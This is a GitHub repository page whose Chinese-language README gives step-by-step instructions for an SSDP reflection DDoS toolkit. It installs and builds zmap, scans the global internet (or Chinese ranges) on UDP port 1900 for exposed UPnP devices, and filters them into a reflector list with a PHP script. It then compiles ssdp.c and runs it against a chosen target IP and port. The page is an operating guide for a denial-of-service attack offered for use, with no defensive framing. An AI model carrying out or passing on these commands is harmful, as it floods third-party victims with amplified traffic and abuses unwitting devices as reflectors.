Skip to content

Nolovenodie/ssdp-zmap

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SSDP

yum -y install gcc+ gcc-c++
yum -y install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c cpan vnstat zmap
yum install cmake gmp-devel gengetopt libpcap-devel flex byacc json-c-devel libunistring-devel
wget ftp://ftp.gnu.org/gnu/gengetopt/gengetopt-2.22.6.tar.gz
tar -zvxf gengetopt-2.22.6.tar.gz
cd gengetopt-2.22.6
./configure
make
make install

安装zmap

yum install git
git clone https://github.com/zmap/zmap
cd zmap/
cmake .
make -j4
make install

安装完成!
扫描全球:
screen zmap -M udp -p 1900 --probe-args=file:upnp_1900.pkt -o ssdp.txt
扫描国内:
screen zmap -M udp -p 1900 -w cn.txt -B 100M --probe-args=file:upnp_1900.pkt -o ssdpscan.txt
扫描完成后,我们开始执行过滤!
过滤 :
php ssdpfilter.php ssdp.txt ssdpfiltered.txt 200 1000
200处理个数 1000线程
全自动:screen ./scan 1
自动过滤跟扫描,到时候表完成过后是ssdp.txt
编译攻击脚本:
gcc -pthread ssdp.c -o ssdp
SSDP攻击:
./ssdp <target IP> <target port> <reflection file> <time (optional)>

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published